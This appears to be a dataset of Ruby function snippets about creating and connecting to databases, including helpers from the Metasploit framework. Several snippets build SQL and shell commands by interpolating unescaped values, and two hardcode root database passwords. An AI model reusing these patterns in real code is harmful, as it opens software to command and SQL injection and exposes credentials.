"def create_db(opts)\n\t\tbegin\n\t\t\tcase opts[\"adapter\"]\n\t\t\twhen 'sqlite3'\n\t\t\t\t# Sqlite just needs the file to be writable. ActiveRecord creates\n\t\t\t\t# it if it doesn't exist and checks permissions if it does. This\n\t\t\t\t# all happens during establish_connection(), so we don't need to\n\t\t\t\t# bother with creating anything here.\n\t\t\twhen 'postgresql','mysql'\n\t\t\t\tActiveRecord::Base.establish_connection(opts.merge('database' => nil))\n\t\t\t\tActiveRecord::Base.connection.create_database(opts['database'])\n\t\t\t\tActiveRecord::Base.remove_connection\n\t\t\tend\n\t\trescue ::Exception => e\n\t\t\tilog(\"Trying to continue despite failed database creation: #{e}\")\n\t\tend\n\tend",
"def create_database(character_set_name, d_b_instance_id, d_b_name, optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'CreateDatabase'\n\t\targs[:query]['CharacterSetName'] = character_set_name\n\t\targs[:query]['DBInstanceId'] = d_b_instance_id\n\t\targs[:query]['DBName'] = d_b_name\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :_scheme\n\t\t\traise ArgumentError, '_scheme must be http|https' unless 'http|https'.split('|').include? optional[:_scheme]\n\t\t\targs[:scheme] = optional[:_scheme]\n\t\tend\n\t\tif optional.key? :d_b_description\n\t\t\targs[:query]['DBDescription'] = optional[:d_b_description]\n\t\tend\n\t\tif optional.key? :owner_account\n\t\t\targs[:query]['OwnerAccount'] = optional[:owner_account]\n\t\tend\n\t\tif optional.key? :owner_id\n\t\t\targs[:query]['OwnerId'] = optional[:owner_id]\n\t\tend\n\t\tif optional.key? :resource_owner_account\n\t\t\targs[:query]['ResourceOwnerAccount'] = optional[:resource_owner_account]\n\t\tend\n\t\tif optional.key? :resource_owner_id\n\t\t\targs[:query]['ResourceOwnerId'] = optional[:resource_owner_id]\n\t\tend\n\t\tself.run(args)\n\tend",
"def create_database(name)\n @logger.unknown(\"ODBCAdapter#create_database>\") if @trace\n @logger.unknown(\"args=[#{name}]\") if @trace\n execute \"CREATE DATABASE #{name}\"\n rescue Exception => e\n @logger.unknown(\"exception=#{e}\") if @trace\n raise\n end",
"def get_database\n\t\tdb = Mysql2::Client(:host => 'localhost',:user => 'root',:password => 'abcd0311')\n\n\t\tbegin\n\t\t\tdb.query(\"DROP DATABASE #{@month}_#{@year}_clients\")\n\t\t\tdb.query(\"CREATE DATABASE #{@month}_#{@year}_clients\")\n\t\trescue Exception => e\n\t\t\tdb.query(\"CREATE DATABASE #{@month}_#{@year}_clients\")\n\t\tend\n\n\t\tdb.query(\"USE #{@month}_#{@year}_clients\")\n\t\tdb.query(\"CREATE TABLE users(cID integer, name varchar(50), address varchar(50), prov varchar(50), postal varchar(50), email varchar(50), cost float);\")\n\t\tdb\n\tend",
"def init_database(client)\n return unless client.is_a? Mysql2::Client\n\n client.query('drop database if exists barcrawldb;')\n\n client.query('CREATE DATABASE IF NOT EXISTS barcrawldb;')\n client.query('USE barcrawldb;')\nend",
"def create_default_database_yml\n db_class = RailsInstaller::Database.dbs[config['database']]\n db_class.database_yml(self)\n end",
"def create_initial_database\n db_class = RailsInstaller::Database.dbs[config['database']]\n in_directory(install_directory) do\n db_class.create(self)\n end\n end",
"def create_db_cmd!\n \"createdb -e #{new_db_name}\"\n end",
"def create_default_databases()\n # Create subfolder for databases if needed.\n dir = \"./databases\"\n Dir.mkdir(dir) unless Dir.exist?(dir)\n # TODO: sanity check: if db-file exist, create copy first, make sure the\n # name of the copy makes it highly unlikely to match an already existing\n # file, e.g. current epoch.\n # TODO: Create DBs\nend",
"def handle_database_creation\n database = Sequel.sqlite('./actions_db.db') # memory database, requires sqlite3\n database.create_table? :\"#{@username}_follows\" do\n primary_key :id\n String :user_id\n String :username\n Time :follow_time\n end\n database.create_table? :\"#{@username}_likes\" do\n primary_key :id\n String :media_id\n String :user_id\n String :shortcode\n Time :like_time\n end\n @table_follows = database[:\"#{@username}_follows\"]\n @table_likes = database[:\"#{@username}_likes\"]\n end",
"def create_db(database)\n @conn.query({url_path: database, method: :put})\n end",
"def setup_databases\n postgres_user = app_name\n postgres_pass = SecureRandom.urlsafe_base64\n postgres_port = find_open_port\n redis_port = find_open_port\n\n add_env \"REDIS_URL\",\n \"redis://localhost:#{redis_port}\"\n\n add_env \"DATABASE_URL\",\n \"postgres:///#{postgres_user}:#{postgres_pass}@localhost:#{postgres_port}\",\n skip_secrets: true\n\n template \"database.yml\",\n \"#{app_name}/config/database.yml\",\n force: true\n\n template \"docker-compose.yml\",\n \"#{app_name}/docker-compose.yml\",\n postgres_user: postgres_user,\n postgres_pass: postgres_pass,\n postgres_port: postgres_port,\n redis_port: redis_port\n end",
"def connect_to_database\n config = Rails.configuration.database_configuration\n host = config[Rails.env][\"host\"]\n dbname = config[Rails.env][\"database\"]\n username = config[Rails.env][\"username\"]\n password = config[Rails.env][\"password\"]\n \n client = Mysql2::Client.new(:host => host, :username => username, :password => password, :flags => Mysql2::Client::MULTI_STATEMENTS)\n \n if client.query(\"SHOW DATABASES LIKE '#{dbname}'\").count == 0\n print \"Database '#{dbname}' not found, creating...\"\n client.query(\"CREATE DATABASE #{dbname}\")\n print \"\\n\" + File.open(SETUP_FILE,\"r\").read\n client.select_db(dbname)\n client.query(File.open(SETUP_FILE,\"r\").read)\n end\n \n finalClient = Mysql2::Client.new(:host => host, :username => username, :password => password, :database => dbname)\n \n return finalClient\n \n end",
"def db_create_postgresql(*args)\n\t\t\tcmd_db_disconnect()\n\n\t\t\tif(args[0] == nil or args[0] == \"-h\" or args[0] == \"--help\")\n\t\t\t\tprint_status(\" Usage: db_create <user:pass>@<host:port>/<database>\")\n\t\t\t\tprint_status(\"Examples:\")\n\t\t\t\tprint_status(\" db_create user@metasploit3\")\n\t\t\t\tprint_status(\" db_create user:pass@192.168.0.2/metasploit3\")\n\t\t\t\tprint_status(\" db_create user:pass@192.168.0.2:1500/metasploit3\")\n\t\t\t\treturn\n\t\t\tend\n\n\t\t\treturn if ! db_find_tools(%W{psql dropdb createdb})\n\n\t\t\tinfo = db_parse_db_uri_postgresql(args[0])\n\t\t\topts = { 'adapter' => 'postgresql' }\n\t\t\targv = []\n\n\t\t\tif (info[:user])\n\t\t\t\topts['username'] = info[:user]\n\t\t\t\targv.push('-U')\n\t\t\t\targv.push(info[:user])\n\t\t\telse\n\t\t\t\topts['username'] = 'postgres'\n\t\t\t\targv.push('-U')\n\t\t\t\targv.push('postgres')\n\t\t\tend\n\n\t\t\tif (info[:pass])\n\t\t\t\tprint()\n\t\t\t\tprint_status(\"Warning: You will need to enter the password at the prompts below\")\n\t\t\t\tprint()\n\t\t\t\targv.push('-W')\n\t\t\tend\n\n\t\t\tif (info[:host])\n\t\t\t\topts['host'] = info[:host]\n\t\t\t\targv.push('-h')\n\t\t\t\targv.push(info[:host])\n\t\t\tend\n\n\t\t\tif (info[:port])\n\t\t\t\topts['port'] = info[:port]\n\t\t\t\targv.push('-p')\n\t\t\t\targv.push(info[:port])\n\t\t\tend\n\n\t\t\topts['database'] = info[:name]\n\n\t\t\tcargs = argv.map{|c| \"'#{c}' \"}.join\n\n\t\t\tsystem(\"dropdb #{cargs} #{info[:name]} >/dev/null 2>&1\")\n\t\t\tsystem(\"createdb #{cargs} #{info[:name]}\")\n\n\t\t\topts['password'] = info[:pass] || ''\n\n\t\t\t# Do a little legwork to find the real database socket\n\t\t\tif(! opts['host'])\n\t\t\t\twhile(true)\n\t\t\t\t\tdone = false\n\t\t\t\t\tdirs = %W{ /var/run/postgresql /tmp }\n\t\t\t\t\tdirs.each do |dir|\n\t\t\t\t\t\tif(::File.directory?(dir))\n\t\t\t\t\t\t\td = ::Dir.new(dir)\n\t\t\t\t\t\t\td.entries.grep(/^\\.s\\.PGSQL.(\\d+)$/).each do |ent|\n\t\t\t\t\t\t\t\topts['port'] = ent.split('.')[-1].to_i\n\t\t\t\t\t\t\t\topts['host'] = dir\n\t\t\t\t\t\t\t\tdone = true\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\t\tbreak if done\n\t\t\t\t\tend\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\tend\n\n\t\t\t# Default to loopback\n\t\t\tif(! opts['host'])\n\t\t\t\topts['host'] = '127.0.0.1'\n\t\t\tend\n\n\t\t\tif (not framework.db.connect(opts))\n\t\t\t\traise RuntimeError.new(\"Failed to connect to the database: #{framework.db.error}\")\n\t\t\tend\n\n\t\t\tprint_status(\"Database creation complete (check for errors)\")\n\t\tend",
"def create_database_directory\n FileUtils.mkdir(database_directory)\n end",
"def setup_database_dockerfile\n return nil unless options[:database] == 'mysql'\n\n template 'mysql/Dockerfile.tt', 'docker/Dockerfile'\n end",
"def postgresql_database\n # FIXME work in progress\n #encoding = \"-E #{configuration[:postgresql][:encoding]}\" if configuration[:postgresql][:encoding]\n encoding = ''\n template = \"-T #{configuration[:postgresql][:template_database]}\" if configuration[:postgresql][:template_database]\n\n exec \"postgresql_database\",\n :command => \"/usr/bin/createdb -O #{database_environment[:username]} #{encoding} #{template} #{database_environment[:database]}\",\n :unless => \"/usr/bin/psql -l | grep #{database_environment[:database]}\",\n :user => 'postgres',\n :require => exec('postgresql_user'),\n :before => exec('rake tasks')#,\n # :notify => exec('rails_bootstrap') # TODO make this configurable to work with multi_server\n end",
"def create_db name\n \n req = Net::HTTP::Put.new \"/#{name}\"\n ret = @http.request req\n \n puts \"Creating Database #{name} => #{ret.msg} (#{ret.code})\\n\"\n \n end",
"def mysql(config_var = nil)\n url = resolve_config_var_uri(\"mysql\", config_var, \"MYSQL_DATABASE_URL\", \"DATABASE_URL\", \"XEROUND_DATABASE_URL\", \"CLEARDB_DATABASE_URL\")\n open_mysql(\"MySQL\", url)\n end",
"def create\n @database = Database.new(database_params)\n @database.name = @database.name.downcase\n @database.user = @user[\"uid\"]\n @database.password = SecureRandom.urlsafe_base64(16)\n result = true\n if @database.postgres?\n result = create_postgresql_db(@database.name, @database.password)\n end\n\n if @database.mysql?\n result = create_mysql_db(@database.name, @database.password)\n end\n\n if result then\n result = @database.save\n end\n\n respond_to do |format|\n if result\n format.html { redirect_to @database, notice: 'La base de données à bien été créée.' }\n format.json { render :show, status: :created, location: @database }\n else\n format.html { render :new }\n format.json { render json: @database.errors, status: :unprocessable_entity }\n end\n end\n end",
"def setup_database\n require \"sequel\"\n\n options = {\n :max_connections => 16,\n :pool_timeout => 240\n }\n\n database_config = YAML.load_file(\"#{$intrigue_basedir}/config/database.yml\")\n database_host = database_config[$intrigue_environment][\"host\"] || \"localhost\"\n database_port = database_config[$intrigue_environment][\"port\"] || 5432\n database_user = database_config[$intrigue_environment][\"user\"]\n database_pass = database_config[$intrigue_environment][\"password\"]\n database_name = database_config[$intrigue_environment][\"database\"]\n database_debug = database_config[$intrigue_environment][\"debug\"]\n\n if database_pass \n $db = Sequel.connect(\"postgres://#{database_user}:#{database_pass}@#{database_host}:#{database_port}/#{database_name}\", options)\n else\n $db = Sequel.connect(\"postgres://#{database_user}@#{database_host}:#{database_port}/#{database_name}\", options)\n end\n\n $db.loggers << Logger.new($stdout) if database_debug\n\n # Allow datasets to be paginated\n $db.extension :pagination\n Sequel.extension :pg_json_ops\n Sequel.extension :migration\nend",
"def create\n database.command({ :create => name }.merge(options))\n end",
"def create_database # :nodoc:\n @db = HDB.new\n if !@db.open(@path, default_flags)\n raise CorpusError.new(\"Error creating the database: #{@db.errmsg(@db.ecode)}\")\n end\n end",
"def create_database\n system \"createdb #{@base_name}\"\n system \"psql -d #{@base_name} -c 'CREATE EXTENSION postgis;'\"\n end",
"def create_database\n options = { database: Orientdb::ORM.connection_uri.database, user: Orientdb::ORM.connection_uri.user, password: Orientdb::ORM.connection_uri.password, type: :graph, storage: :memory }\n Orientdb::ORM.with { |conn| conn.client.create_database( options ) }\nend",
"def create(database_id:, name:)\n path = '/databases'\n\n if database_id.nil?\n raise Appwrite::Exception.new('Missing required parameter: \"databaseId\"')\n end\n\n if name.nil?\n raise Appwrite::Exception.new('Missing required parameter: \"name\"')\n end\n\n params = {\n databaseId: database_id,\n name: name,\n }\n \n headers = {\n \"content-type\": 'application/json',\n }\n\n @client.call(\n method: 'POST',\n path: path,\n headers: headers,\n params: params,\n response_type: Models::Database\n )\n end",
"def find_or_create_db(filename)\n SQLite3::Database.new(filename)\n end",
"def database(name)\n Database.new(connection.db(name))\n end",
"def create_db(db_name)\n\n db = SQLite3::Database.new(db_name + \".db\")\n db.results_as_hash = true\n current_db_name = (db_name + \".db\")\n\n # Create Project Table\n create_project_table = <<-SQL\n CREATE TABLE IF NOT EXISTS projects(\n id INTEGER PRIMARY KEY,\n name VARCHAR(255),\n client VARCHAR(255)\n )\n SQL\n\n # Create Geologists Table\n create_geo_table = <<-SQL\n CREATE TABLE IF NOT EXISTS geologists(\n id INTEGER PRIMARY KEY,\n name VARCHAR(255),\n company VARCHAR(255)\n )\n SQL\n\n # Create Borehole Table\n create_borehole_table = <<-SQL\n CREATE TABLE IF NOT EXISTS boreholes(\n id INTEGER PRIMARY KEY,\n designation VARCHAR(255),\n northing REAL,\n easting REAL,\n elevation REAL,\n project_id INTEGER,\n FOREIGN KEY (project_id) REFERENCES projects(id)\n )\n SQL\n \n # Create Samples Table\n create_sample_table = <<-SQL\n CREATE TABLE IF NOT EXISTS samples(\n id INTEGER PRIMARY KEY,\n bh_id INTEGER, \n logger_id INTEGER,\n depth REAL,\n USCS VARCHAR(63),\n color VARCHAR(127),\n wetness VARCHAR(63),\n percent_gravel INTEGER,\n percent_sand INTEGER,\n percent_fines INTEGER,\n plasticity VARCHAR(63),\n toughness VARCHAR(63),\n other VARCHAR(255),\n FOREIGN KEY (bh_id) REFERENCES boreholes(id),\n FOREIGN KEY (logger_id) REFERENCES geologists(id)\n )\n SQL\n\n db.execute(create_project_table)\n db.execute(create_geo_table)\n db.execute(create_borehole_table)\n db.execute(create_sample_table)\n\n db\nend",
"def initialize_database(database_path = './secrets.db')\n DataMapper.finalize\n\n database_path = File.expand_path database_path\n\n @dm = DataMapper.setup(:default, \"sqlite:///#{database_path}\")\n\n return if File.exist? database_path\n\n SQLite3::Database.new(database_path)\n DataMapper.auto_migrate!\n end",
"def initialize_database\n config = YAML::load(IO.read(Antfarm::Helpers.defaults_file))\n # Database setup based on adapter specified\n if config && config[ANTFARM_ENV] && config[ANTFARM_ENV].has_key?('adapter')\n if config[ANTFARM_ENV]['adapter'] == 'sqlite3'\n config[ANTFARM_ENV]['database'] = Antfarm::Helpers.db_file(ANTFARM_ENV)\n elsif config[ANTFARM_ENV]['adapter'] == 'postgres'\n config[ANTFARM_ENV]['database'] = ANTFARM_ENV\n else\n # If adapter specified isn't one of sqlite3 or postgresql,\n # default to SQLite3 database configuration.\n config = nil\n end\n else\n # If the current environment configuration doesn't specify a\n # database adapter, default to SQLite3 database configuration.\n config = nil\n end\n # Default to SQLite3 database configuration\n config ||= { ANTFARM_ENV => { 'adapter' => 'sqlite3', 'database' => Antfarm::Helpers.db_file(ANTFARM_ENV) } }\n if config[ANTFARM_ENV]['adapter'] == 'postgres'\n DataMapper.setup(:default, \"postgres:///#{config[ANTFARM_ENV]['database']}\")\n else\n DataMapper.setup(:default, \"sqlite3://#{config[ANTFARM_ENV]['database']}\")\n end\n end",
"def create_database_config_file(db = nil)\n fpath = db ? \"/multiple_dbs/#{db}_database.yml\" : \"/database.yml\"\n db ||= databases.first\n copy_file \"config_db.yml\", \"config#{fpath}\"\n\n insert_into_file \"config#{fpath}\",\n %Q{#{options.development[\"adapter\"] ? options.development[\"adapter\"] : @@default_db_config[\"adapter\"] } },\n before: \"#development_adapter\", verbose: false, force: true\n insert_into_file \"config#{fpath}\",\n %Q{#{options.development[\"encoding\"] ? options.development[\"encoding\"] : @@default_db_config[\"encoding\"] } },\n before: \"#development_encoding\", verbose: false, force: true\n insert_into_file \"config#{fpath}\",\n %Q{#{options.development[\"pool\"] ? options.development[\"pool\"] : @@default_db_config[\"pool\"] } },\n before: \"#development_pool\", verbose: false, force: true\n insert_into_file \"config#{fpath}\",\n %Q{#{db}_development },\n before: \"#development_database\", verbose: false, force: true\n insert_into_file \"config#{fpath}\",\n %Q{#{options.development[\"username\"] ? options.development[\"username\"] : @@default_db_config[\"username\"] } },\n before: \"#development_username\", verbose: false, force: true\n insert_into_file \"config#{fpath}\",\n %Q{#{options.development[\"password\"] ? options.development[\"password\"] : @@default_db_config[\"password\"] } },\n before: \"#development_psw\", verbose: false, force: true\n\n insert_into_file \"config#{fpath}\",\n %Q{#{options.production[\"adapter\"] ? options.production[\"adapter\"] : @@default_db_config[\"adapter\"] } },\n before: \"#production_adapter\", verbose: false, force: true\n insert_into_file \"config#{fpath}\",\n %Q{#{options.production[\"encoding\"] ? options.production[\"encoding\"] : @@default_db_config[\"encoding\"] } },\n before: \"#production_encoding\", verbose: false, force: true\n insert_into_file \"config#{fpath}\",\n %Q{#{options.production[\"pool\"] ? options.production[\"pool\"] : @@default_db_config[\"pool\"] } },\n before: \"#production_pool\", verbose: false, force: true\n insert_into_file \"config#{fpath}\",\n %Q{#{db}_production },\n before: \"#production_database\", verbose: false, force: true\n insert_into_file \"config#{fpath}\",\n %Q{#{options.production[\"username\"] ? options.production[\"username\"] : @@default_db_config[\"username\"] } },\n before: \"#production_username\", verbose: false, force: true\n insert_into_file \"config#{fpath}\",\n %Q{#{options.production[\"password\"] ? options.production[\"password\"] : @@default_db_config[\"password\"] } },\n before: \"#production_psw\", verbose: false, force: true\n\n insert_into_file \"config#{fpath}\",\n %Q{#{options.test[\"adapter\"] ? options.test[\"adapter\"] : @@default_db_config[\"adapter\"] } },\n before: \"#test_adapter\", verbose: false, force: true\n insert_into_file \"config#{fpath}\",\n %Q{#{options.test[\"encoding\"] ? options.test[\"encoding\"] : @@default_db_config[\"encoding\"] } },\n before: \"#test_encoding\", verbose: false, force: true\n insert_into_file \"config#{fpath}\",\n %Q{#{options.test[\"pool\"] ? options.test[\"pool\"] : @@default_db_config[\"pool\"] } },\n before: \"#test_pool\", verbose: false, force: true\n insert_into_file \"config#{fpath}\",\n %Q{#{db}_test },\n before: \"#test_database\", verbose: false, force: true\n insert_into_file \"config#{fpath}\",\n %Q{#{options.test[\"username\"] ? options.test[\"username\"] : @@default_db_config[\"username\"] } },\n before: \"#test_username\", verbose: false, force: true\n insert_into_file \"config#{fpath}\",\n %Q{#{options.test[\"password\"] ? options.test[\"password\"] : @@default_db_config[\"password\"] } },\n before: \"#test_psw\", verbose: false, force: true\n end",
"def recreate_database(name, options = {})\n drop_database(name)\n create_database(name, options)\n end",
"def database\n @database ||= Database.create # defaults to 'aqua' \n end",
"def create\n puts \"Creating tumblr\"\n ActiveRecord::Base.connection.execute(File.open(\"db/schema.sql\").read)\n end",
"def make_mysql_backup\n if @all_databases\n options = {\n :name => \"--all-databases\",\n :dump_options => \"\",\n :append_name => \"\"\n }\n file_name = mysqldump(options)\n compress_file(file_name)\n end\n if @databases && !@databases.empty?\n @databases.each do |db|\n options = {\n :name => db[:name].to_s,\n :dump_options => db[:dump_options].to_s,\n :append_name => db[:append_name].to_s\n }\n file_name = mysqldump(options)\n compress_file(file_name)\n end\n end\nend",
"def create_database_schema!\n \n if file_format.class.const_defined?('Database')\n @orm_module = file_format.class.const_get('Database')\n else\n @orm_module = file_format.class.const_set('Database', Module.new)\n end\n\n create_request_table_and_class\n create_warning_table_and_class\n \n file_format.line_definitions.each do |name, definition|\n create_database_table(name, definition)\n create_activerecord_class(name, definition)\n end\n end",
"def create_db_schema(connection)\n connection.execute 'CREATE TABLE documents (id INTEGER PRIMARY KEY AUTOINCREMENT, name)'\n connection.execute 'CREATE TABLE words (id, doc_id, value)'\n connection.execute 'CREATE TABLE characters (id, word_id, value)'\nend",
"def stage_database(db_names, admin_password, db_user_name, db_password)\n sql_command = \"\"\n \n db_names.each do |name|\n db_name = ActiveRecord::Base.configurations[name]['database']\n sql_command += \"drop database if exists #{db_name}; \" << \n \"create database #{db_name}; grant all privileges on #{db_name}.* \" << \n \"to #{db_user_name}@localhost identified by \\'#{db_password}\\';\"\n ActiveRecord::Base.configurations[name]['username'] = db_user_name\n ActiveRecord::Base.configurations[name]['password'] = db_password\n end\n\n if (!File.exist?(\"#{APP_ROOT}/tmp/stage.sql\"))\n File.open(\"#{APP_ROOT}/tmp/stage.sql\", \"w\") do |file|\n file.print sql_command\n end\n end\n\n # back up the original database.yml file just in case\n File.copy(\"#{APP_ROOT}/config/database.yml\", \n \"#{APP_ROOT}/config/database.yml.sample\") if !File.exist?(\"#{APP_ROOT}/config/database.yml.sample\")\n \n dbconfig = File.read(\"#{APP_ROOT}/config/database.yml\")\n dbconfig.gsub!(/username:.*/, \"username: #{db_user_name}\")\n dbconfig.gsub!(/password:.*/, \"password: #{db_password}\")\n \n File.open(\"#{APP_ROOT}/config/database.yml\", \"w\") do |file|\n file.print dbconfig\n end\n\n if system %(mysql -h localhost -u root --password=#{admin_password} < tmp/stage.sql)\n puts \"Updated config/database.yml and staged the database based on your settings\"\n File.delete(\"tmp/stage.sql\") if File.file?(\"tmp/stage.sql\")\n else\n puts \"Staging was not performed. Check console for errors. It is possible that 'mysql' executable was not found.\"\n end\n end",
"def recreate_database(name, options = {})\n drop_database(name)\n sql = create_database(name, options)\n reconnect!\n sql\n end",
"def open\n create_database\n end",
"def setup_connection\n db = ENV['DB'].blank?? 'mysql' : ENV['DB']\n\n configurations = YAML.load_file(File.join(File.dirname(__FILE__), '..', '..', 'spec', 'database.yml'))\n raise \"no configuration for '#{db}'\" unless configurations.key? db\n configuration = configurations[db]\n\n ActiveRecord::Base.logger = Logger.new(STDOUT) if $0 == 'irb'\n puts \"using #{configuration['adapter']} adapter\" unless ENV['DB'].blank?\n\n gem 'sqlite3-ruby' if 'sqlite3' == db\n\n ActiveRecord::Base.establish_connection(configuration)\n ActiveRecord::Base.configurations = { db => configuration }\n #prepare ActiveRecord::Base.connection\n\n unless Object.const_defined?(:QUOTED_TYPE)\n Object.send :const_set, :QUOTED_TYPE, ActiveRecord::Base.connection.quote_column_name('type')\n end\nend",
"def configure_database\n\tbegin\n\t @client = Mysql2::Client.new(:host => \"localhost\", :username => \"root\", :password => \"qburst\", :database => \"ruby\")\n\trescue Exception=>e\n\t puts e.message\n\tend\n end",
"def create_database\n $conn.exec(\"\"\"\n CREATE TABLE users (\n id SERIAL NOT NULL,\n name varchar(255) NOT NULL,\n created_at timestamp NOT NULL,\n PRIMARY KEY (id)\n );\n CREATE UNIQUE INDEX user_names ON users (name);\n CREATE TABLE blathers (\n id SERIAL NOT NULL,\n text varchar(141) NOT NULL,\n created_at timestamp NOT NULL,\n user_id integer NOT NULL,\n PRIMARY KEY (id)\n );\n CREATE TABLE blathers_mentioned_users (\n blather_id integer NOT NULL,\n user_id integer NOT NULL,\n PRIMARY KEY (blather_id, user_id)\n );\n \"\"\")\nend",
"def recreate_database(name, options = {}) #:nodoc:\n drop_database(name)\n create_database(name, options)\n end",
"def setup_db\n return unless File.exist?(\"#{Jets.root}/config/database.yml\")\n\n db_configs = Jets.application.config.database\n # DatabaseTasks.database_configuration for db:create db:migrate tasks\n # Documented in DatabaseTasks that this is the right way to set it when\n # using ActiveRecord rake tasks outside of Rails.\n ActiveRecord::Tasks::DatabaseTasks.database_configuration = db_configs\n\n current_config = db_configs[Jets.env]\n if current_config.blank?\n abort(\"ERROR: config/database.yml exists but no environment section configured for #{Jets.env}\")\n end\n # Using ActiveRecord rake tasks outside of Rails, so we need to set up the\n # db connection ourselves\n ActiveRecord::Base.establish_connection(current_config)\n end",
"def to_create_database_sql(db)\n db.send(:create_database_sql, self.name, {})\n end",
"def db(db_name, options={})\n DB.new(db_name, self, options.merge(:logger => @logger))\n end",
"def database(name)\n Database.new(self, name)\n end",
"def create!(db, colls = nil)\n db.in_transaction do |conn|\n raise StandardError.new(\"Schema #{name} already created!\") unless schema_tables(conn).empty?\n end\n\n osm2pgsql_exec db, \"'#{empty_file}'\", \"creating osm2pgsql schema\"\n end",
"def database\n @database ||= begin\n if ENV['DATABASE_URL']\n Sequel.connect(ENV['DATABASE_URL'])\n elsif RUBY_PLATFORM == 'java'\n Sequel.connect(jdbc_settings)\n else\n Sequel.connect(database_settings)\n end\n end\n end",
"def create_db(revision)\n Database.create(self, revision)\n end",
"def setup_db\n @database.create_table :merchants do\n primary_key :id\n String :name\n end\n\n @database.create_table :cards do\n primary_key :id\n String :token, :unique => true, :null => false\n Integer :limit, :null => false\n Integer :balance, :null => false\n Integer :velocity_limit\n Integer :velocity_interval\n end\n\n @database.create_table :txns do\n primary_key :id\n Integer :card_id, :null => false\n Integer :merchant_id, :null => false\n Integer :amount, :null => false\n DateTime :created_at, :null => false\n end\n\n @database.create_table :locks do\n String :id, :unique => true, :null => false\n DateTime :created_at\n end\n\n return true\n end",
"def database(args={})\n args[:connection_name] = @connection_name unless args.has_key?(:connection_name)\n req(:required => [:db_name],\n :args_object => args)\n data = {}\n dbh = Mysqladmin::Exec.new(:connection_name => args[:connection_name])\n dbh.use(args[:db_name])\n dbh.list_tables.each do |table_name|\n data[table_name] = table(:table_name => args[:table_name], :db_name => args[:db_name], :connection_name => args[:connection_name])\n end\n return data\n end",
"def create_table(name, &block)\n DB.drop_table? name if @opts.drop_tables?\n DB.create_table? name.to_sym, &block\n info \"Setup database table: #{name}\"\n end",
"def initialize_database\n @db = SQLite3::Database.new @database_path\n File.chmod 0600, @database_path\n begin\n @db.execute 'drop table if exists host;'\n @db.execute <<-SQL\n create table host (\n id INT,\n name varchar(254)\n );\n SQL\n sync_host_table\n rescue\n File.unlink @database_path\n raise\n end\n end",
"def init_database\n\t\tif(!@DB.table_exists?(:events))\n\t\t\t@DB.create_table :events do\n\t\t\t\tprimary_key :id\n\t\t\t\tString :name\n\t\t\t\tString :description\n\t\t\t\tString :date\n\t\t\tend\n\t\tend\n\n\t\tif(!@DB.table_exists?(:timeslots))\n\t\t\t@DB.create_table :timeslots do\n\t\t\t\tString :time\n\t\t\t\tString :parent_table\n\t\t\t\tString :parent_id\n\t\t\tend\n\t\tend\n\n\t\tif(!@DB.table_exists?(:attendees))\n\t\t\t@DB.create_table :attendees do\n\t\t\t\tprimary_key :id\n\t\t\t\tString :name\n\t\t\t\tString :parent_id\n\t\t\tend\n\t\tend\n\tend",
"def create_db\n SQLite3::Database.new \"flatiron.db\"\nend",
"def create_schema(name)\n sql = %{CREATE SCHEMA \"#{name}\"}\n ActiveRecord::Base.connection.execute sql\n end",
"def database\n \"--db='#{ name }'\"\n end",
"def try_databases\n db = Database.new(application_root, config, settings)\n db.configure\n end",
"def database\n \"--db='#{ name }'\" if name\n end",
"def drop_mysql_database\n MysqlUtils.drop_mysql_database(database_name)\n end",
"def database\n Database.initialize_with(connection)\n end",
"def new_db(options = {})\n cached = find_cached(options)\n return cached if cached && !options[:force_new]\n @cache[options] = ConnectionMaker.new(options).connection\n end",
"def create_schema schema_name\n execute \"CREATE SCHEMA #{quote_schema_name(schema_name)}\"\n end",
"def init_example_db\n # Create repos table\n database.create_table :repos do\n primary_key :id\n String :name\n foreign_id :token_id\n end\n\n # Add example repositories\n r = database[:repos]\n r.insert(:name => \"josefwaller/pycatan\")\n r.insert(:name => \"josefwaller/github_dash\")\n r.insert(:name => \"rails/rails\")\n\n # Create tokens table\n database.create_table :tokens do\n primary_key :id\n String :token\n String :name\n end\n\n # Add example token\n t = database[:tokens]\n ENV['GITHUB_DASH_TOKEN'] ||= \"ThisIsAnExampleGithubApiKey\"\n t.insert(:token => ENV['GITHUB_DASH_TOKEN'])\n end",
"def database(opts = nil)\n if opts\n @database ||= Sequel.connect(opts)\n find_or_create_sequence_number\n end\n @database\n end",
"def drop_database(name)\n execute \"DROP DATABASE IF EXISTS #{name}\" \n end",
"def db_connect_mysql(*args)\n\t\t\tif(args[0] == nil or args[0] == \"-h\" or args[0] == \"--help\")\n\t\t\t\tprint_status(\" Usage: db_connect <user:pass>@<host:port>/<database>\")\n\t\t\t\tprint_status(\"Examples:\")\n\t\t\t\tprint_status(\" db_connect user@metasploit3\")\n\t\t\t\tprint_status(\" db_connect user:pass@192.168.0.2/metasploit3\")\n\t\t\t\tprint_status(\" db_connect user:pass@192.168.0.2:1500/metasploit3\")\n\t\t\t\treturn\n\t\t\tend\n\n\t\t\tinfo = db_parse_db_uri_mysql(args[0])\n\t\t\topts = { 'adapter' => 'mysql' }\n\n\t\t\topts['username'] = info[:user] if (info[:user])\n\t\t\topts['password'] = info[:pass] if (info[:pass])\n\t\t\topts['database'] = info[:name]\n\t\t\topts['host'] = info[:host] if (info[:host])\n\t\t\topts['port'] = info[:port] if (info[:port])\n\n\t\t\topts['host'] ||= 'localhost'\n\n\t\t\t# This is an ugly hack for a broken MySQL adapter:\n\t\t\t# \thttp://dev.rubyonrails.org/ticket/3338\n\t\t\tif (opts['host'].strip.downcase == 'localhost')\n\t\t\t\topts['host'] = Socket.gethostbyname(\"localhost\")[3].unpack(\"C*\").join(\".\")\n\t\t\tend\n\n\t\t\tif (not framework.db.connect(opts))\n\t\t\t\traise RuntimeError.new(\"Failed to connect to the database: #{framework.db.error}\")\n\t\t\tend\n\t\tend",
